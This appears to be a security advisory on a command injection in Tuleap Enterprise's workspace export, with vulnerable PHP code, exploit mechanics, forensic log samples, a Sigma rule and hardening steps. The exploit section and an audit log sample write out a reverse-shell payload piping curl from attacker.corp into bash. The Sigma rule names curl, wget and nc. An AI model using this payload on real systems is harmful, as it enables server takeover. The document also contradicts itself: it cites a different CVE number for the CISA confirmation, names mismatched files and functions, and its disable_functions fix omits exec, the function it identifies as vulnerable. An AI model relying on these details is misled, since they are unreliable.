CVE-2026-84285: Tuleap Enterprise ALM Workspace Export OS Command Injection
HERMES THREAT SCORE & DEVOPS PIPELINE COMPROMISE
Target:Tuleap Enterprise Edition β Project Workspace Export Handler & System Shell Executor CVSS v3.1 scores CVE-2026-84285 at 8.8 High due to required low privileges (PR:L). Hermes Threat Score assigns 89 (HIGH). Tuleap Enterprise serves as an enterprise Agile Lifecycle Management (ALM) and DevSecOps backbone across regulated European aerospace, defense, and public-sector organizations. Gaining arbitrary OS execution on the ALM server grants adversaries access to private Git/SVN codebases, database credentials, CI/CD deployment secrets, and webhook tokens, converting an authenticated application vulnerability into complete software supply chain compromise.
HASS AGENTIC SEVERITY & PIPELINE AUTOMATION TAMPERING
Target:Continuous Integration Runners, Autonomous Coding Agent Integrations & Git Webhooks Modern enterprise DevSecOps stacks increasingly employ autonomous AI agents for code review, issue triage, and automated PR generation through Tuleap REST APIs. Executing arbitrary commands on the Tuleap host compromises these agentic integrations: attackers can poison repository code reviewed by AI agents, harvest API tokens provisioned for autonomous tooling, and alter automated build scripts to inject covert persistence into production container images.
CVE-2026-84285: Tuleap Enterprise ALM Workspace Export OS Command InjectionVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
π Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Tuleap Enterprise ALM documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
π Why is this related? (Evidence & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Attack Surface
Section titled β1. Technical Context & Attack SurfaceβThe project workspace export tool enables project managers and team members to package project trackers, agile backlogs, and attached documentation into downloadable tar or zip bundles.
βββββββββββββββββββββββββββββ 1. Authenticated Export Request with Injected Meta ββββββββββββββββββββββββββββββββ Authenticated Attacker β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ> β Tuleap Web Frontend (Nginx) ββ (Low-Privilege Member) β POST /project/export.php?format=tar;$(id>/tmp/pwn) ββββββββββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββ β 2. Dispatches to PHP-FPM WorkerβΌ βββββββββββββββββββββββββββββββ β PHP-FPM Service β β (user: codendiadm) β ββββββββββββββββ¬βββββββββββββββ β 3. Concatenates Raw ParametersβΌ βββββββββββββββββββββββββββββββ β ArtifactExportCommand.php β β [X] Missing escapeshellarg()β ββββββββββββββββ¬βββββββββββββββ β 4. Invokes shell_exec() / sh βΌ βββββββββββββββββββββββββββββββ β Subshell Command Execution β β Arbitrary Payload Runs β ββββββββββββββββ¬βββββββββββββββ β 5. Host & Pipeline Takeover βΌ βββββββββββββββββββββββββββββββ β Git Repos, CI/CD Webhooks β β Database Credentials Stolen β βββββββββββββββββββββββββββββββAttack Vector Analysis
Section titled βAttack Vector Analysisβ| Parameter | Technical Characteristic | Operational Consequence |
|---|---|---|
| Vulnerability Class | OS Command Injection (CWE-78) | Unrestricted server shell command execution |
| Authentication Requirement | Authenticated (PR:L) | Any valid account belonging to a project space |
| Attack Vector | Network (AV:N) | Standard HTTPS REST API or Web UI interface |
| Host Privilege Context | codendiadm (Tuleap service account) | Full access to /var/lib/tuleap, Git repos, MySQL |
| Supply Chain Impact | Source code & pipeline access | Compromise of enterprise build systems and signing keys |
2. Root Cause Analysis & Exploit Mechanics
Section titled β2. Root Cause Analysis & Exploit MechanicsβThe flaw resides in the archive generation component responsible for invoking external compression utilities (tar, gzip, zip) via system shell dispatchers without parameter sanitization.
Vulnerable Code Deconstruction
Section titled βVulnerable Code DeconstructionβIn Tuleap Enterprise versions 17.3 through 17.5, backend export scripts constructed shell commands via string interpolation:
// Vulnerable command generation pattern in Tuleap Enterprise <= 17.5class ProjectWorkspaceExporter { public function generateArchive(string $projectShortName, string $exportFormat, string $userOptions): void { $outputDirectory = "/var/tmp/tuleap_exports/" . $projectShortName;
// FLAW: $exportFormat and $userOptions are concatenated directly into the shell string // without wrapping in escapeshellarg() or escapeshellcmd()! $command = "tar -czf " . $outputDirectory . "/workspace." . $exportFormat . " " . $userOptions . " " . $outputDirectory . "/data/";
// Executed directly via shell interpreter $output = []; $returnVar = 0; exec($command, $output, $returnVar);
if ($returnVar !== 0) { throw new ExportException("Archive packaging failed: " . implode("\n", $output)); } }}Exploit Mechanics
Section titled βExploit Mechanicsβ- Payload Formulation: The adversary crafts an HTTP POST payload for the project export action. Instead of supplying a valid archive extension like
gz, they pass an injected subshell string:tar; curl -s http://attacker.corp/rev.sh | bash; # - Command Assembly: The application interpolates the unvalidated string into the command buffer:
Terminal window tar -czf /var/tmp/tuleap_exports/alpha/workspace.tar; curl -s http://attacker.corp/rev.sh | bash; # /var/tmp/tuleap_exports/alpha/data/ - Execution Execution: PHPβs
exec()invokes/bin/sh -c, which evaluates each command sequentially. Thetarutility runs, immediately followed by the injected reverse shell payload under thecodendiadmservice account.
3. Forensic Investigation & Triage Playbook
Section titled β3. Forensic Investigation & Triage PlaybookβDFIR analysts investigating potential exploitation of CVE-2026-84285 should inspect web access logs, PHP-FPM process execution trees, and file modifications in Tuleap temporary directories.
Forensic Artifacts & Indicators of Compromise
Section titled βForensic Artifacts & Indicators of Compromiseβ- Web Server Access Logs (
/var/log/nginx/access.log): Examine POST requests to project export endpoints containing shell metacharacters:192.168.10.45 - - [22/Sep/2026:04:12:30 +0000] "POST /plugins/tracker/?tracker=42&func=export HTTP/1.1" 200 4821 "https://tuleap.internal/" "Mozilla/5.0" "format=tar%3Bcurl%20http%3A%2F%2F10.0.0.99%2Fbeacon%3B%23" - PHP-FPM Process Spawning (
auditd/ EDR): Check for abnormal child processes spawned byphp-fpmorcodendiadm:node=tuleap-app01 type=EXECVE msg=audit(1726992750.412:8124):argc=3 a0="sh" a1="-c" a2="tar -czf ...; curl -s http://attacker.corp/rev.sh | bash; #"ouid=501 ppid=1420 pid=28901 comm="sh" exe="/usr/bin/bash" - Tuleap Event Logs (
/var/log/tuleap/codendi.log): Look for unexpected export errors or failed archive generation events recorded by the backend tracker service.
4. Detection Engineering (SIEM & Sigma)
Section titled β4. Detection Engineering (SIEM & Sigma)βSIEM Detection (Sigma Rule)
Section titled βSIEM Detection (Sigma Rule)βtitle: Tuleap Enterprise ALM Suspicious Subprocess Executionid: 5e3d21c9-7a4b-4f1e-9284-cve20268428501status: experimentaldescription: Detects PHP-FPM or Tuleap web service accounts spawning interactive shells or network utilities, indicative of CVE-2026-84285 exploitation.references: - https://www.3ds.com/vulnerability/advisories - https://nvd.nist.gov/vuln/detail/CVE-2026-84285author: Hermes Codex Intelligencedate: 2026-09-22logsource: category: process_creation product: linuxdetection: selection_parent: ParentImage|endswith: - '/php-fpm' - '/php-fpm8.2' - '/php-fpm8.3' ParentUser: 'codendiadm' selection_shell: Image|endswith: - '/bin/sh' - '/bin/bash' - '/usr/bin/curl' - '/usr/bin/wget' - '/usr/bin/nc' - '/usr/bin/python3' selection_cmdline: CommandLine|contains: - 'tar' - 'zip' - 'workspace' condition: selection_parent and selection_shell and selection_cmdlinelevel: hightags: - attack.execution - attack.t1059.004 - cve.2026-84285# Monitor command execution under codendiadm service account-a always,exit -F arch=b64 -S execve -F euid=501 -k tuleap_process_exec5. Mitigation & Hardening Recommendations
Section titled β5. Mitigation & Hardening RecommendationsβOfficial Patch Deployment
Section titled βOfficial Patch DeploymentβAdministrators must immediately update Tuleap Enterprise Edition:
- Upgrade to Tuleap Enterprise Edition 17.6 or later using the official Enalean yum/dnf or apt repositories:
Terminal window dnf update tuleap-enterprisesystemctl restart php-fpm tuleap - The patched release refactors the export component to use parameterized process arrays (
proc_openwith argument lists) and enforces strict alphanumeric validation against all archive format tokens.
Defense-in-Depth Hardening
Section titled βDefense-in-Depth Hardeningβ- PHP Execution Restriction (
disable_functions): In/etc/php.d/local.ini, disable unnecessary process invocation functions where feasible:disable_functions = system,shell_exec,passthru,popen - File System Sandboxing: Enforce
systemdisolation forphp-fpm.serviceby mounting/var/tmpand home directories asProtectHome=true,PrivateTmp=true, and restricting access to/etc/tuleap/conf/. - Database Credential Rotation: If compromise is suspected, immediately rotate MySQL/PostgreSQL database passwords located in
/etc/tuleap/conf/database.inc.